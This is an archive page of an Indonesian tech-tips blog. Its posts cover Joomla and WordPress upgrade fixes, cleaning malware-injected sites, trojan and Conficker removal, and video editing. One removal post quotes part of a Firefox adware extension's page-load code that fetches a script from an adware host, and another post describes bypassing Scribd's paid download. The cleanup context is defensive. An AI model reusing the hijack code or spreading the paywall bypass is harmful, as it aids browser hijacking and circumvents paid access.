Archive for the ‘Tips n’ Trik’ Category

Solusi Joomla Error Ketika Upgrade Versi TerbaruUpdate CMS Joomla kadang-kadang tidak mulus seperti seharusnya, salah satunya adalah ketika akan upgrade versi melalui konsol administrator atau admin panel dialihkan ke halaman baru dengan pesan Cannot open file for writing log.

Anda tidak perlu pusing, cemas, jantung berdebar-debar, bahkan mau bunuh diri ketika menghadapi situasi seperti diatas. Hal itu bisa terjadi ketika migrasi beda hosting hingga perubahan struktur hosting. Untuk memastikannya hanya perlu membuat file ekstensi php di root folder hosting dengan nama apapun.

Untuk membuat file .php secara mudah bisa dilakukan melalui cPanel dengan memanfaatkan fitur New File yang ada di pojok kiri atas atau bisa juga menggunakan norepad yang nantinya ekstensi .txt diganti menjadi .php serta mengunggah (upload) menggunakan ftp manager semacam filezilla atau sejenisnya.

Isi file tersebut dengan kode dibawah ini:

<?php
$path = getcwd();
echo “Your Absoluthe Path is: “;
echo $path;
?>

Hal paling mudah adalah dengan cara copy paste kode tersebut daripada harus repot ngetik. Setelah Anda simpan dengan memberikan nama sembarang seperti tes.php silakan eksekusi dengan mengetikkan alamat http://www.namadomainanda.com/tes.php dan lihat path-nya. Setelah itu buka configuration.php serta lihat apakah path public $log_path dan public $tmp_path tertera sama seperti yang ada waktu membuka http://www.namadomainanda.com/tes.php.

Solusi Joomla Error Ketika Upgrade Versi Terbaru

Ketika ada perbedaan atau salah path silakan edit untuk menyesuaikannya. Setelah semuanya benar silakan tes dengan mengulangi upgrade versi Joomla Anda. Satu hal penting setelah semuanya berjalan normal dan proses update bisa berjalan hingga selesai, hapus file tes.php yang tadi dibuat.

Cara diatas sudah saya praktekan pada dua website yang berbasis Joomla yang berada di satu hosting yang gemar ngoprek hostingnya itu. Hasilnya…versi Joomla bisa terupgrade dengan sukses tanpa kendala yang bikin pusing.

Advertisements

Tips Memperbaiki Joomla dan WordPress Yang Terinfeksi MalwareAda salah satu pengalaman saya yang menjengkelkan yaitu beberapa situs berbasis Joomla dan WordPress kalau diakses pasti diarahkan ke situs lain. Dari beberapa situs pengalihan atau redirect itu mengandung malware sehingga ada satu web berbasis joomlah yang diblokir mesin pencari. Setelah melakukan pengecekan dan anailsa tiap folder web di hosting ternyata ditemukan kode yang menginjeksi file-file berekstensi php. Kode enkripsi base64 yang biasanya muncul setelah <?php dengan penampakan salah satu contohnya diawali dengan kode eval(base64_decode ditanamkan hampir merata dari index.php hingga lainnya.

Saya pikir dengan menghapus kode di beberapa file ekstensi php yang terinfeksi permasalahan jadi selesai. Selang beberapa hari saya cek kembali ternyata lagi-lagi nongol kodenya itu. Dihapus lagi tak lama kemudian muncul. Setelah frustasi berat akibat permasalahan kode misterius yang selalu menginfeksi file php akhirnya dapat “pencerahan”. Tidak sengaja waktu salah satu web berbasis joomla dijadikan percobaan dengan menganalisa secara manual dari tiap-tiap file melalui cPanel hosting. Ada salah satu struktur folder joomla yang tidak bisa dibuka dengan pesan Data error padahal akalu dilihat lewat FTP folder tersebut bisa dibuka.

(more…)

Bagi yang suka mencari file pdf maupun doc di SCRIBD pastinya tidak asing lagi. Satu hal pasti anda harus mengeluarkan beberapa dollar jika ingin mengunduh file-file dari sana,  nah bagi yang “males” jika pakai acara bayar membayar silakan coba trik dibawah ini.

Cari alamat dokumen yang akan anda unduh, saya ambil contoh http://www.scribd.com/doc/17527732/Sony-DSRPD170-DSRPD190-MiniDV-Camera

Lihat pada angka yang saya bold.

Langkah berikutnya adalah dengan memasukkan alamat http://www.scribd.com/mobile/documents/…&#8230;.., kemudian taruh barisan angka tadi dibelakangnya. Lebih jelasnya seperti ini http://www.scribd.com/mobile/documents/17527732

Nah…maka akan terbuka sebuah halaman disertai dengan sebuah pilihan untuk mengunduh file tersebut.

Tapi masih ada langkah terkahir lagi yang harus dilakukan, file yang anda unduh tersebut tidak mempunyai nama dokumen yang seharusnya dan tanpa ekstensi. Oleh karena itu setelah selesai mengunduh file itu jangan lupa untuk memberikan nama dan ekstensi file (.pdf atau .doc)

(more…)

Hal ini sering saya alami di beberapa hosting gratisan, setiap kali akan upgrade versi wordpress yang terbaru dengan cara otomatis pasti keluarnya Unable to locate WordPress Root directory. Installation Failed. Mau pake cara manual buang-buang waktu, ya akhirnya pasrah dengan versi script apa adanya yang disediakan oleh pengelola hosting gratisannya itu. Tapi sekarang ada caranya biar bisa jalan auto upgrade WordPress-nya itu, langkah-langkahnya seperti dibawah ini :

1. Biasanya hosting model gratisan pakai Vista Panel, pada halaman panel tersebut pilih File Manager/Online File manager kemudian cari wp-config.php dan eksekusi pada menu edit.

2. Setelah itu scroll sampai paling bawah dan masukan kode dibawah ini pada baris terbaru;

/* fix WordPress Auto Upgrade pada hosting yang menggunakan VistaPanel */

if(is_admin()) {
add_filter(‘filesystem_method’, create_function(‘$a’, ‘return “direct”;’ ));
define( ‘FS_CHMOD_DIR’, 0751 );
}

3. Simpan file tersebut dengan menekan menu SAVE (ada diatas pojok kiri)

4. Setelah selesai pindah ke halaman administrator wordpress untuk menjalankan auto upgrade, biasanya sebelum proses upgrade-nya jalan akan muncul halaman konfirmasi untuk mengisikan Connection Information. Isikan kolom hostname, username, dan password sesuai yang tercantum pada Account Setting.

Setelah itu pilihan auto upgrade dapat dipergunakan, termasuk untuk instalasi plugin 🙂

Mumpung inget dulu pernah ada kawan yang menanyakan gimana caranya merekam gambar dan kemudian sampai pada tahapan editing agar tampak bagus. Pertanyaan yang simpel tapi jawabannya segudang (kalau ikut teori lho) hehehehehe…., jawaban saya ya hanya buka mata dan telinga. Pada saat merekam gambar gunakan insting untuk memulai dam mengakhiri pada sesi pengambilan. Misal seperti merekam orang yang sedang orasi, tidak mungkin mengambil gambar pada posisi yg sama dengan waktu lama. Nah kita harus menghentikan perekaman gambar pada saat yg tepat, contohnya menghentikan pada saat yang ngomong itu masuk pada jeda kalimat.

Selain itu juga perlu diperhatikan waktu perpindahan tempat serta penyetelan pada posisi yang baru, biasanya selama penyetelan gambar agar tampak bagus kondisi kamera dalam keadaan hidup. Selain boros kaset juga nanti editornya bete (pada situasi tertentu hal tersebut bisa dimaklumi, misal untuk konsumsi berita)

Tahapan editing juga sama harus buka mata serta telinga, salah satu pertanyaan mengenai editing yaitu gimana caranya memotong serta menggabungkan gambar yg diambil dengan posisi statis. Ya kalau saya sih biasanya pakai transisi flash atau zoom agar ada kesinambungan gambar yang halus serta tidak terkesan mengagetkan huehuehuehuehue 😀

Selain kesinambungan gambar, suara juga tidak kalah penting. Kalau perpindahan gambar pas tapi suara aslinya meleset rasanya juga yang nonton bakalan sering mengernyitkan alis mata 😀 Umpamanya merekam sexy dancer dengan menggunakan satu kamera, perpindahan gambar dengan gambar yang lain harus memperhatikan ketukan musiknya. Kalau asal gabung nanti pada saat transisi musiknya terdengar kejar-kejaran 😀

Ya itulah beberapa dari hasil pengalaman saya, selebihnya silakan dipraktekan sendiri. Suatu keberhasilan atau kesempurnaan didapat dari kesalahan yang dilakukannya, menguasai teori yang njlimet tidak menjadikan sesorang itu berkualitas, tapi kualitas ditentukan dari caranya mempelajari kesalahan itu…begituuuu.

Solusi Untuk Trojan

Posted: January 10, 2010 in Tips n' Trik
Tags: , , , ,

Minggu pertama Tahun 2010 sudah diawali kena trojan horse, benar-benar bikin dua malam tidak tidur.

Sebenarnya ini yang ke-3 kalinya terinfeksi trojan, solusi 2 kasus sebelumnya yaitu dengan cara instal ulang OS-nya. Karena antivirus jenis apapun tidak bisa mendeteksi induk trojan tersebut. Nah yang ke-3 ini bikin puyeng soalnya cara diatas tidak bisa digunakan lagi, setiap terkoneksi dengan internet pasti trojan tersebut membuat file dan berkembang biak  setiap beberapa menit di C:\WINDOWS\TEMP\xxxx.tmp dan C:\WINDOWS\TEMP\xxxx.tmp\svchost.exe

Permasalahan trojan tersebut ternyata banyak juga yang mengalaminya, ada banyak solusi antara lain dari menggunakan MalwareByte sampai HiJack This pun tidak mempan mengatasi trojan itu. Mengenai Hijack This banyak sekali yang merekomendasikan untuk digunakan, padahal untuk kasus ini tidak bisa pakai scan HJT…lha wong saya nyoba bolak balik tidak ada’ trojan yang tertangkap dari hasil scan. Yang ada malah beberapa kali salah menghapus program yang seharusnya tidak bermasalah, sekali lagi Hijack This tidak direkomendasikan untuk trojan  ini dan jika tetap dipakai bakalan membuat kepala semakin tambah pusing dengan sederetan log scan yang tidak ada gunanya.

Kemudian pada malam ke-2 proses mencari cara untuk menghilangkan trojan itu akhirnya menemukan titik pencerahan, yaitu dengan menggunakan Hitman Pro 3. Aplikasi yang bisa mengidentifikasi serta melokalisir virus, spyware, trojan, rootkits, maupun malware jenis lainnya ini kerjanya setelah proses scanning dan menemukan file-file yang mencurigakan maka secara otomatis akan mengunggah (upload) tersebut ke servernya dan diidentifikasi.

Pada kasus saya ini ternyata trojan tersebut bersembunyi di C:\WINDOWS\system32\drivers\ dengan file berekstensi .sys (nvata.sys). Setelah file tersebut dihapus sampai sekarang tidak pernah keluar lagi peringatan dari antivirus.

Sudah beberapa hari ini saya merasa tidak nyaman menggunakan Google Search Engine, karena setiap kali melakukan pencarian pasti setiap link yang dibuka pasti dialihkan (redirect) ke situs lain.
Karena sudah sangat mengganggu akhirnya saya lakukan scanning dengan menggunakan Norton Corporate Antivirus, PCMAV Valkyrie, XoftSpy, dan Malwarebytes. Dengan menggunakan Malwarebytes terdapat beberapa file misterius yang merupakan rootkit/malware seneka.
Tapi setelah dinyatakan bersih masih saja dialihkan ke situs lain seperti clickchecktools[dot]com serta abcjmp[dot]com, sebelum itu jika dilihat pada loading bar bukan hanya memuat alamat google, tapi juga memuat alamat v1.adwarefeed[dot]com setiap mengeksekusi atau memindah halaman pencarian di google.
Karena pake software anti virus/malware/rootkit ngga’ kunjung mendapatkan hasil, akhirnya saya pake cara manual yaitu masuk ke C:\Program Files\Mozilla Firefox\extensions\.

Kemudian mencari file yang berekstensi .xul dan dibuka dengan menggunakan wordpad, setelah diteliti dari baris perbaris saya menemukan kode unik seperti yang tertera dibawah ini:

onPageLoad:
function(aEvent){
var doc = aEvent.originalTarget;
var loc = doc.location.href;
var ref = doc.referrer;
var keyword = ”;
var engine ;
var __d =http://v1.adwarefeed.com/ffjs.php?u=3893913796-746137067-813497703-839522115&amp;a=303365&amp;s=21&amp;v=icv07030901ff&amp;e=&#8221;;

Akhirnya ketemu juga penyakitnya, tanpa menunggu lama saya hapus sub folder pada folder extensions Mozilla yang berisi link diatas (nama foldernya misal seperti {CAFEEFAC-0016-0000-0012-ABCDEFFEDCBA})
Setelah itu restart Mozilla dan dicoba beberapa kali melakukan pencarian dengan Google sudah tidak dialihkan ke situs lain lagi.

Seringkali kita mendapati kerusakan sistem pada windows, dan biasanya untuk mengembalikan kondisi sistem menjadi normal akan menggunakan aplikasi pendamping seperti Win Doctor, System Mechanic, dan yang lainnya. Tapi pada kondisi tertentu yang bisa dikatakan parah, aplikasi pendamping tersebut tidak bisa berbuat apa-apa. Akhirnya malah install ulang. Buang-buang waktu kan?

(more…)

Penyebab Generic Host Process for Win32 error adalah worm Win32/Conficker.A, saya kira tadinya itu merupakan crash pada svchost. Seperti yang diberitakan di situs Microsoft Malware Protection Center bahwa worm tersebut mengincar celah keamanan pada RPC Dcom. Jika komputer yang terkoneksi jaringan terinfeksi worm tersebut maka akan dijumpai munculnya pesan Generic Host Process for Win32 error dan kemudian koneksi internet akan terputus dan tidak bisa konek lagi jika tidak direstart. Walaupun sudah direstart pasti selang beberapa waktu pasti muncul lagi pesan error itu.

(more…)

svchost-error

Beberapa hari yang lalu saya sering kena “Generic Host For Win32 error” dan kemudian koneksi internet terputus dan ngga’ bisa reconnect lagi, satu-satunya jalan harus restart komputer.
Tapi selang beberapa jam kejadiannya seperti itu terulang lagi, saya pikir sistemnya crash. Kemudian saya lakukan perbaikan dengan memakai norton utility (win doctor) dan scan dengan norton corporate antivirus serta xoftspy anti spyware. Ternyata ngga’ ada efeknya sama sekali dan masih juga sering keluar error svchost.exe nya.

Akhirnya setelah ngobok-obok google ketemu solusinya dan sampai sekarang ngga’ pernah keluar lagi pesan error Generic Host For Win32
Caranya manualnya sebagai berikut :

(more…)